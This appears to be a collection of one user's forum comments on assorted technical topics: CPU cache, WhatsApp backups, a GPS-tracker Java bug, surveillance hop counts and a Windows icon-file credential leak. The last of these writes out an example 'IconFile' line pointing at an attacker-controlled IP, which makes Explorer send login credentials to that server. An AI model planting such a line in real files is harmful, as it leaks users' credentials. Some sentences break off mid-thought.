Comment Re: That's what I call BS (Score 1) 284
On-chip cache of the 68020 was only 1/4kB, or 256 bytes.
On-chip cache of the 68020 was only 1/4kB, or 256 bytes.
No.
He said he was.
There's a difference.
I know I shouldn't feed a troll, but there is an explanation that you wouldn't have thought of yourself
The problem with this plan is, that once you can check your vote afterwards, then someone else, say, your boss or your spouse, can pressure you to show it to them as well, to make sure you voted "the right way". That way, election fraud (albeit in another form) would become almost a certainty.
Just wait until you're in the way of a hyperspace bypass!
> WhatsApp for end-to-end encryption,
Did you take into account that although Facebook cannot read your messages due to end-to-end encryption, Google can, if you've enabled cloud backups?
Messages are back-upped at Google in unencrypted format.
Google (and people who say "pretty, pretty please" to Google) can read them.
And I think that's a security issue that's not widely advertised by WhatsApp/Facebook.
Smallpox itself may not have had animal hosts, but cattle could get cow-pox.
Actually, that is where the word vaccination comes from: vacca, for cow.
People were vaccinated against smallpox by infecting them with cow-pox.
The strips aren't that thin, if you only know which country you're in.
In fact, a very large part of France would still be France if you flipped the sign on the E/W coordinate.
Eight years ago, I experienced this first-hand.
A good friend participated in the randonneuring (cycling) event Paris-Brest-Paris, which, as the name indicates, starts and ends near Paris, after visiting Brest, in the most western tip of France.
I had bought a GPS tracker for him so all friends could follow his progress from their homes.
The tracking package I used (OpenGTS) had no driver for the exact model of the tracker, but had one that was "close enough" that I could modify.
The driver was in Java, which I didn't know, but which looked to me a lot like C/C++. I made the modifications, tested, everything was fine.
During the ride, we saw, to our horror, that, at a junction, he took the wrong turn.
Instead of west, he was going east! It took some time to figure out what happed. The junction was exactly at the zero-meridian, and I, not knowing Java, had missed that in order to compare two strings for equality, you need to use
By the time I fixed this error, he was almost in Germany on the map, and jumped from there directly into Brest, a jump of more than 1000 km.
Lots of Europeans live in countries that cross the zero meridian.
The difference between eastern or western hemisphere there can be less than an hour's walk.
If you don't realize that not everyone lives in the USA, there's probably no hope for you.
Why do they present this as an innovation?
About 8 to 10 years ago, I bought a GPS tracker with exactly this functionality.
You could send it an SMS with some command, and it would send back its current location.
No internet necessary (although it could also send regular updates over GPRS).
Cost? About $50 on DealExtreme.
I have an ASUS EEEbook X205ta that has the same.
I'm running 64-bit XUbuntu on it.
I only needed a 32-bit UEFI loader for grub on it to make it work.
Unfortunately, the Linux kernel still has trouble with the power saving modes of the Baytrail chipset, but some workarounds have been made.
Here and here are links with helpful information.
3 or 4 hops.
Suspect calls pizza delivery service (1 hop)
Now everyone who has called that pizza delivery service is under surveillance _as only the second hop_.
In this way, 3.3 million people are easily reached from 4 hops from people under surveillance.
I doubt that the ones signing the legislation allowing 4 hops were aware of this.
If they were, all the worse.
Mod parent (and GGP) up.
This is a Widows vulnerability in the way link files are handled, that is mischaracterised as a Chrome vulnerability by the author of the article.
Link files (.LNK and
[Shell]
IconFile=MyPic.ico, or
IconFile=MyProgram.exe
This is the case that was originally targeted by the developers of Windows.
Then came network filesystems. Now, this would also work:
IconFile=\\MyServer\Dir\MyProgram.exe, or even worse:
IconFile=\\180.180.180.180\Dir\MyProgram.exe, where 180.180.180.180 is a server under control of the attacker.
When connecting to a server, Windows helpfully sends your current login credentials, to prevent you from having to re-type them every time.
Only when these do not work does it display a login prompt.
The catch is, that, when you open the directory in which the file is stored in Explorer, the icon is needed for display, and the scf file specifies an icon file on a remote server. So, Explorer accesses the remote server, and the underlying network file system sends your login credentials.
Google has tried to mitigate this problem by adding a
This is an issue that should be addressed by Microsoft for once and for all at the filesystem level, not by browser makers with patchwork on a case-by-case basis.
Ooh! That's an old one! Haven't seen it in the wild, but I can remember when it was doing the rounds.
Surprise your boss. Get to work on time.